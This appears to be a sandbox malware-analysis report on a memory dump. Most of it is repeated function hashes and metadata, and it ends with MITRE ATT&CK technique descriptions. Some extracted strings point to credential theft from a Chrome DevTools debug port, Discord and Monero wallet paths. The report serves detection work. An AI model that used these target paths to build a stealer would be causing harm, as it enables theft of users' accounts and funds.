
Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30e46aee76c7b7c29b450547748bd0fab7105ad3eba781634137ceeff5f0208a
Instruction ID: 202f1e2b31d381c1973fd4ba3496f7e967341c88beb44f3aebde9a92e0db2a06
Opcode Fuzzy Hash: 30e46aee76c7b7c29b450547748bd0fab7105ad3eba781634137ceeff5f0208a
Instruction Fuzzy Hash: 2F21004800D2E059CB1B8B3940A85A2BFE25DAB10E77ED0DDD4D80E3A7D157C68BD736

Function 004305D1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dfaedc194f80c89b897aad99153f40a2d8722648789291fbad0395ad0bead6d
Instruction ID: 4ffed9d099227b2ebeea7d632d33c957995bc2306009fc1e8d9ae6b658cbc972
Opcode Fuzzy Hash: 0dfaedc194f80c89b897aad99153f40a2d8722648789291fbad0395ad0bead6d
Instruction Fuzzy Hash: DC21324800D2E049CB17873540A55A2BFF25DAF00E76ED1CDD4D80E3A7D15BC69BDB26

Function 00403641 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c9af1fd2b3e017d10b80165e429089e5610833c66b7450bb2c5cfdcadea665
Instruction ID: 5c8456fd8dd02be57185efbb825f7e43ab70a04af5bd64bdf9ef9421f303d60e
Opcode Fuzzy Hash: c9c9af1fd2b3e017d10b80165e429089e5610833c66b7450bb2c5cfdcadea665
Instruction Fuzzy Hash: E821235800D2E058C717833541A45A2BFE29DAF10E76ED2CED4DC0E3A7D29BC59BDB26

Function 0042E7F1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3442751e08735769bf37e9c354acefafd6337f6b0e665248bfabc840098a6c35
Instruction ID: c55d2e98229a45d3f4b16453c784e79bb26483fba778296ea21aecb5415e3d9d
Opcode Fuzzy Hash: 3442751e08735769bf37e9c354acefafd6337f6b0e665248bfabc840098a6c35
Instruction Fuzzy Hash: 6421564800D2E048CB17473540A45A6BFE25DAF00E76ED1CDD4D80E3A7D15BC65BDB36

Function 0042F7B1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3225bc8c8b8ed96eb958b3be0ca46368d5c3596b90d3c6dfba6f717cdc95af7
Instruction ID: 52238972ea98b2787b045c8f24a1e4928ee1c7128a97f349bf72e9d6f75921d2
Opcode Fuzzy Hash: e3225bc8c8b8ed96eb958b3be0ca46368d5c3596b90d3c6dfba6f717cdc95af7
Instruction Fuzzy Hash: 3021434900D2E048CB17873540A95A2BFE25DAF00E76ED1CDD4D80E3A7D15BC69BEB36

Function 0042F851 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 157cdae5875f2d82fbace704755af8800b5f32eb16abcf39b22916f887a11076
Instruction ID: cefa021db8a17b3c8cfd3c9c470616fc5785ae2eacbc591c6d69ae0c9024f5c9
Opcode Fuzzy Hash: 157cdae5875f2d82fbace704755af8800b5f32eb16abcf39b22916f887a11076
Instruction Fuzzy Hash: 7721204900D2E048CB1B8B3540A85A2BFE25DAB00E77ED0CDD4D80E3A7D157C68BD736

Function 00419861 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7047b3ec69a9cadd5333eb7f0a63663f18ba77422d38040bf2d7957cbe297e9d
Instruction ID: f0d220bc7b15092e0a85ec27884eb44416594946c81a1fa71dac6cb3dbd4ffa6
Opcode Fuzzy Hash: 7047b3ec69a9cadd5333eb7f0a63663f18ba77422d38040bf2d7957cbe297e9d
Instruction Fuzzy Hash: EB21534800D2E048C717873540A45A2BFE29DAF00E76ED1CEE4DC0E3A7D29BC59BDB22

Function 004208A1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04c9c287c8bd8be68f0e00c6a4971fed3f7c29f8d0ad2d9421cdddbb7a44f0f
Instruction ID: 3b4d0dcb090c6f71de1ff3e3e9b8db4c40911ee4884226a5a1f6ba0d68fb694f
Opcode Fuzzy Hash: c04c9c287c8bd8be68f0e00c6a4971fed3f7c29f8d0ad2d9421cdddbb7a44f0f
Instruction Fuzzy Hash: 3921564800D2E049CB17873540A45A2BFE25DAF00E76ED1CED4D80E3A7D25BC55FDB26

Function 0041A901 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f9603c27550674132e21c3ca8c15767858e7d31c259975de4890fe2988c751
Instruction ID: 4bae11c0d8567f9448cf298311ad118ab31a3bb31f1e999c10895c54cf118e8f
Opcode Fuzzy Hash: 64f9603c27550674132e21c3ca8c15767858e7d31c259975de4890fe2988c751
Instruction Fuzzy Hash: AB21204800D2E058CB2B873540A45A2BFE25DAB10D77ED0CED4D80E7A7D1A7C58BD736

Function 00419A81 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f99731c0f92ca2d94647b11b0c6252350a82690cae1c3d5e253eda9b6b1e4e
Instruction ID: f206f6001717a7e96fd3170dfcb285252aa5d802cd3c7b4644ff7c6d363e961e
Opcode Fuzzy Hash: a9f99731c0f92ca2d94647b11b0c6252350a82690cae1c3d5e253eda9b6b1e4e
Instruction Fuzzy Hash: F4212D4800D2E058CB1B8B3540A45A2BFE25DAB00D77ED1CED8D80E3A7D19BC58BE732

Function 00419C01 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928b3768f9e270de20e07fae8f5be1377bfb806d0eaf1dedc29e90e2134e422e
Instruction ID: 8bd9563a71014c468223db52ab370906e6a4ccc3c4cb362f25bb1f7e5db657cd
Opcode Fuzzy Hash: 928b3768f9e270de20e07fae8f5be1377bfb806d0eaf1dedc29e90e2134e422e
Instruction Fuzzy Hash: FB21564800D2E058C717833541A45A6BFE25DAF00D76ED1CED4DC0E3A7D29BC55BDB26

Function 0042ECC1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca21e18ca5c53a59b53c3b1ca87d1b232a9cbb3364b41f7c1802c07f4c0a551
Instruction ID: b5d9d2eb427fca64e0e6a271f2ad508d70a64fe279b584e8298e65638dab377c
Opcode Fuzzy Hash: 4ca21e18ca5c53a59b53c3b1ca87d1b232a9cbb3364b41f7c1802c07f4c0a551
Instruction Fuzzy Hash: 2A21564800D2E048CB17873540A85A2BFE25DAF00E76ED1CDD4D80E3A7D15BC65BDB26

Function 00419D11 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfcd15f79e42f6b863a0ede9881e3989321ec279d8feb939d58d609607df1789
Instruction ID: d6aba5496214f6ddd49235094770b61796656d33d88b1f8ca5f2a4ba94758164
Opcode Fuzzy Hash: bfcd15f79e42f6b863a0ede9881e3989321ec279d8feb939d58d609607df1789
Instruction Fuzzy Hash: F5212D4810D2E049CB1B8B3540A45A2BFE25DAB00D77ED0CED8D80E3A7D19BC58BE736

Function 00420E91 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e74bcdd5bd5b18fb6768735515312101a726b6f0c00fc3420d4a14ed1f6ca57
Instruction ID: 0c1dd603efebc452ff4f50f06d4f4f5218a8c44432edd8fd7768fbf10751d285
Opcode Fuzzy Hash: 1e74bcdd5bd5b18fb6768735515312101a726b6f0c00fc3420d4a14ed1f6ca57
Instruction Fuzzy Hash: 6C21564800D2E088C713833540A55A2BFE25DAF00E76ED1CED4DC0E3A7D29BC59BDB22

Function 00431111 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9126307184193b7d728a0c62c5bcb6e1138b762b7913830f3c83dbf8ac33c24a
Instruction ID: 6ef362762f3c646688cee0ed093de866cf938d106eecbbec238328a2fa3198fd
Opcode Fuzzy Hash: 9126307184193b7d728a0c62c5bcb6e1138b762b7913830f3c83dbf8ac33c24a
Instruction Fuzzy Hash: D211335800D2E099C717873540E44A6BFE24DAF10E76ED1CDE4D80E3A7C15BC55BDB26

Function 004301D1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66759dfc28a6fac7ab792b86d0b9bc36e241f89ad918cdd3e7ea13b0b5dce8df
Instruction ID: 249635abf5f681440c1b15dc9d4ac5da904b76325560df026c838288709a1eef
Opcode Fuzzy Hash: 66759dfc28a6fac7ab792b86d0b9bc36e241f89ad918cdd3e7ea13b0b5dce8df
Instruction Fuzzy Hash: F011334800D2E059CB17873540A45A2BFE25DAF10E76ED1CDD4D80E3A7C16BC55FDB22

Function 0041B2A1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e55cd5ebea7d4adfdf579e102a1aad8a2411b51367bc6060387186117b1111d
Instruction ID: 933031ca5d12bb4ec155fb361d2ebb5f71ebfdd1f62be795dd520c3404e1fb78
Opcode Fuzzy Hash: 1e55cd5ebea7d4adfdf579e102a1aad8a2411b51367bc6060387186117b1111d
Instruction Fuzzy Hash: 6B11334800D2E059CB17873541E44A2BFE25DAF10D76ED1CED4D80E3A7C1ABD59BDB22

Function 004043E1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c941652612581987419a85fa7e13b7aec26e2d45026f8e77bd503e8c1e894725
Instruction ID: 7007ce7ace1fd8a12f0e220d7590b40c7821056d717ca008a8f197f52b2affc9
Opcode Fuzzy Hash: c941652612581987419a85fa7e13b7aec26e2d45026f8e77bd503e8c1e894725
Instruction Fuzzy Hash: B611454800D2E059CB17873541E44A2BFE25DAF10D76ED1CEE4D80E3A7D1ABC55BDB22

Function 0042F491 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee962a252bd08b5e125c5525b01bc00f3e7a1ff336b409ed0015f6ace968ffc
Instruction ID: 92ac429581198c97d6b28284ed8d0e8ac85665259e75bb52c0fde49d26fb1d98
Opcode Fuzzy Hash: eee962a252bd08b5e125c5525b01bc00f3e7a1ff336b409ed0015f6ace968ffc
Instruction Fuzzy Hash: 9511E05810D2E059CB1B8B3540A45A2BFE25DAF10A77ED0DDD4D80E3A7C05BC54BD736

Function 0041B521 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b451672b94d52fc355e3b6a766dc3613914aca278e000f9b94938b6384a4d57
Instruction ID: 7efbb71a2ef304345ae85561c36da1ed3611e0b69fe23547e9c05feeefc86a0f
Opcode Fuzzy Hash: 3b451672b94d52fc355e3b6a766dc3613914aca278e000f9b94938b6384a4d57
Instruction Fuzzy Hash: 7A11335800D2E059C717873541E45A2BFE24DAF10D76ED1CDE4D80E3A7C19BC55BDB26

Function 004207B1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6976f6aab50cb0850511527ee6e8cf75f1507a6cf3e6ba92dac0b62b58617f3
Instruction ID: 20ceea9112589fcf3e1800424e3d24c7178de40dce2ad69421e6c9ab296b6c5a
Opcode Fuzzy Hash: e6976f6aab50cb0850511527ee6e8cf75f1507a6cf3e6ba92dac0b62b58617f3
Instruction Fuzzy Hash: 2D11335800D2E059CB17873541A48A2BFE25DAF10D76ED1CED4D80E3A7C1ABC55FDB22

Function 0042F8F1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbd331329f8bb2bceb831a28fc2df1c27ad8248ea6b45105ee1982ca8d8b8535
Instruction ID: 2dfb15c3d7a34687f796f57f95a244542b67be810d33be7b0db8d0fb68874d73
Opcode Fuzzy Hash: bbd331329f8bb2bceb831a28fc2df1c27ad8248ea6b45105ee1982ca8d8b8535
Instruction Fuzzy Hash: E011104810D2E059CB1B8B3540A44A2BFE25DAF10976ED0CDD4D80E3A7C057C58BD736

Function 004199F1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b460f3035f83cbbba9d533276238d91ef7ad1281ea9d31f2badcc1821dc3679
Instruction ID: b691467f5e7c21d622a0f36d937084cc18f39bb1aa3a6c626c5826aec042b973
Opcode Fuzzy Hash: 0b460f3035f83cbbba9d533276238d91ef7ad1281ea9d31f2badcc1821dc3679
Instruction Fuzzy Hash: B911224810D2E059CB17873540A45A2BFE25DAF10D76ED1CEE4D80E3A7C1ABC59BDB36

Function 0042DC41 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78cb072e77b3f78788deef64ea31a313593665239a48f9541a136f2ffd3fab69
Instruction ID: a9769ade8956982e59be8444820f90d7a99b401266dd92afcf0ec356509268ad
Opcode Fuzzy Hash: 78cb072e77b3f78788deef64ea31a313593665239a48f9541a136f2ffd3fab69
Instruction Fuzzy Hash: E611228810D2E059CB17873540A44A6BFE25DAF10E76ED1CDD4D80E3A7C1ABC59BDB26

Function 00430F61 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e774b6c3b19ff005b8515e2b82cd2da44a68ff9a6c4d8c158293a28db6317d8
Instruction ID: 57f5f67bcb62ebbceebe227056516bfb7aa9f9b5a0089528422f2e3d8eacad2e
Opcode Fuzzy Hash: 5e774b6c3b19ff005b8515e2b82cd2da44a68ff9a6c4d8c158293a28db6317d8
Instruction Fuzzy Hash: 4911454800D2E059CB17873540E58A2BFE25DAF10E76ED1CDE4D80E7A7C1ABC55BDB22

Function 0040B4E1 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B55D

Strings

ws://localhost:9223, xrefs: 0040B577, 0040B57D, 0040B58A
/devtools, xrefs: 0040B51E, 0040B524, 0040B537
localhost, xrefs: 0040B4F3, 0040B4F9, 0040B509

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: /devtools$localhost$ws://localhost:9223
API String ID: 2221118986-2676143373
Opcode ID: db8ba058892ff46890d0d8dff12277a57eb397f3e5172dda719e70686d6ed947
Instruction ID: 94e44766b1f48ed0313359b6b2832c1626453bbd1d254d7316a7bd8e4186ea0b
Opcode Fuzzy Hash: db8ba058892ff46890d0d8dff12277a57eb397f3e5172dda719e70686d6ed947
Instruction Fuzzy Hash: 1D31EAB67801109FD704DBA8DCC1E6E37BCEBC6714B0C4129E906D3352DA789A65CB59

Function 0042993F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042995B
memset.MSVCRT ref: 0042996C

Strings

C$n, xrefs: 004299F7
\discord\, xrefs: 004299C8, 004299CE, 004299DB

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: C$n$\discord\
API String ID: 2221118986-695827262
Opcode ID: c345ef2812bc68e658e74a74bf69f4bc64b0e86f0f512324dfc0ea04a0b5d0b2
Instruction ID: 2ed6e5277a763543ee5a6e9ab04d990fc49394e88863e3d643c10f1d4990ae40
Opcode Fuzzy Hash: c345ef2812bc68e658e74a74bf69f4bc64b0e86f0f512324dfc0ea04a0b5d0b2
Instruction Fuzzy Hash: F6317176A002149BD210EB9DDC85E9B77EAAFD6314F080034E805D7352D7749E19C7E9

Function 004011B9 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004011D3

Strings

SOFTWARE\monero-project\monero-core, xrefs: 004011F2, 004011F8, 00401224, 00401229
wallet_path, xrefs: 00401210, 00401216, 00401223
qqt, xrefs: 00401259

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: SOFTWARE\monero-project\monero-core$qqt$wallet_path
API String ID: 2221118986-2179174401
Opcode ID: 6547e106f19dbda9d7c1aadcfe2a743e189930704852a13bb4a66418b43e7448
Instruction ID: 7a2c87307ec0540e7d715f3f6b37445b2dbc1dc42b57d5ae72fd3d8d753b74c4
Opcode Fuzzy Hash: 6547e106f19dbda9d7c1aadcfe2a743e189930704852a13bb4a66418b43e7448
Instruction Fuzzy Hash: 4901C4757101006BD308E758EC8AE3F37AEE7C6755F48402EF805E7742EAE8A919876D

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

